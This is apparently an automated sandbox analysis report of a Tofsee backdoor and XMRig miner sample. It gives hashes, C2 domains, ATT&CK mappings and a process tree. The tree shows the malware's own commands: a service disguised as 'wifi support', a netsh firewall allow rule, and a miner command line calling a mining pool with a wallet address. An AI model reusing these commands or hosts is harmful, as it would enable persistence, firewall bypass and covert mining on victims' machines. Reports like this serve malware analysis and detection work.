Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2023 17:01

General

  • Target

    file.exe

  • Size

    321KB

  • MD5

    2a6d0dc80d852b76efe1488a0c4a38a6

  • SHA1

    5d22dca827854c071ac3387090d912648541c470

  • SHA256

    b2d8e0f8c89c4170394d3485ccab572e85704d7596e15f6cff784bf91ddeac1b

  • SHA512

    2e79b6c927582ddf3fb8a7e5b01a58177eb8f6732f2f16695b889ab557234687db9781f5d7f506937312c9466152b4794c1262578180fd53cdb14bb663a1ac21

  • SSDEEP

    3072:uB0fS/L4QgpR60YNPml6u0sYcRvIUX82QMycCKEuQjiMTE53516ag75:iRLrgS0YglyZ29ycCKEuQj9C516aM5

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4512
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\enalphxv\
      2⤵
        PID:1524
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vgchyrds.exe" C:\Windows\SysWOW64\enalphxv\
        2⤵
          PID:2448
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create enalphxv binPath= "C:\Windows\SysWOW64\enalphxv\vgchyrds.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3096
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description enalphxv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1312
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start enalphxv
          2⤵
          • Launches sc.exe
          PID:764
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4724
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4512 -s 1164
          2⤵
          • Program crash
          PID:4312
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4512 -ip 4512
        1⤵
          PID:4904
        • C:\Windows\SysWOW64\enalphxv\vgchyrds.exe
          C:\Windows\SysWOW64\enalphxv\vgchyrds.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4948
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3468
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3168
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4948 -s 556
            2⤵
            • Program crash
            PID:2336
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4948 -ip 4948
          1⤵
            PID:4032

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\vgchyrds.exe
            Filesize

            10.4MB

            MD5

            a7ec25f46a4bb22c02fe4ced127f6670

            SHA1

            c0fa145e6f32f6702097eea177b3046a1fde73f6

            SHA256

            0a961da6d49a50b6c7d6fc4f6ae16a4bb81ae43bd0af60c4137ce623cdc339cb

            SHA512

            f9824bbd3690ded4a451984fee75f0462ed2585471f202898be7797f1863a500d44fc8755dd8b44ec4543381a2878146ed7febb9295986f0bc180689e6e7686f

          • C:\Windows\SysWOW64\enalphxv\vgchyrds.exe
            Filesize

            10.4MB

            MD5

            a7ec25f46a4bb22c02fe4ced127f6670

            SHA1

            c0fa145e6f32f6702097eea177b3046a1fde73f6

            SHA256

            0a961da6d49a50b6c7d6fc4f6ae16a4bb81ae43bd0af60c4137ce623cdc339cb

            SHA512

            f9824bbd3690ded4a451984fee75f0462ed2585471f202898be7797f1863a500d44fc8755dd8b44ec4543381a2878146ed7febb9295986f0bc180689e6e7686f

          • memory/764-140-0x0000000000000000-mapping.dmp
          • memory/1312-139-0x0000000000000000-mapping.dmp
          • memory/1524-135-0x0000000000000000-mapping.dmp
          • memory/2448-136-0x0000000000000000-mapping.dmp
          • memory/3096-138-0x0000000000000000-mapping.dmp
          • memory/3168-177-0x0000000000400000-0x00000000004F1000-memory.dmp
            Filesize

            964KB

          • memory/3168-172-0x0000000000400000-0x00000000004F1000-memory.dmp
            Filesize

            964KB

          • memory/3168-171-0x0000000000000000-mapping.dmp
          • memory/3468-146-0x0000000000800000-0x0000000000815000-memory.dmp
            Filesize

            84KB

          • memory/3468-165-0x0000000007500000-0x000000000790B000-memory.dmp
            Filesize

            4.0MB

          • memory/3468-168-0x00000000029D0000-0x00000000029D7000-memory.dmp
            Filesize

            28KB

          • memory/3468-145-0x0000000000000000-mapping.dmp
          • memory/3468-162-0x0000000001BF0000-0x0000000001BF5000-memory.dmp
            Filesize

            20KB

          • memory/3468-159-0x0000000001B80000-0x0000000001B90000-memory.dmp
            Filesize

            64KB

          • memory/3468-156-0x0000000001B70000-0x0000000001B76000-memory.dmp
            Filesize

            24KB

          • memory/3468-151-0x0000000000800000-0x0000000000815000-memory.dmp
            Filesize

            84KB

          • memory/3468-152-0x0000000000800000-0x0000000000815000-memory.dmp
            Filesize

            84KB

          • memory/3468-153-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/4512-132-0x00000000006CE000-0x00000000006E4000-memory.dmp
            Filesize

            88KB

          • memory/4512-143-0x00000000006CE000-0x00000000006E4000-memory.dmp
            Filesize

            88KB

          • memory/4512-144-0x0000000000400000-0x000000000046C000-memory.dmp
            Filesize

            432KB

          • memory/4512-134-0x0000000000400000-0x000000000046C000-memory.dmp
            Filesize

            432KB

          • memory/4512-133-0x0000000000620000-0x0000000000633000-memory.dmp
            Filesize

            76KB

          • memory/4724-141-0x0000000000000000-mapping.dmp
          • memory/4948-150-0x0000000000400000-0x000000000046C000-memory.dmp
            Filesize

            432KB

          • memory/4948-149-0x0000000000579000-0x000000000058F000-memory.dmp
            Filesize

            88KB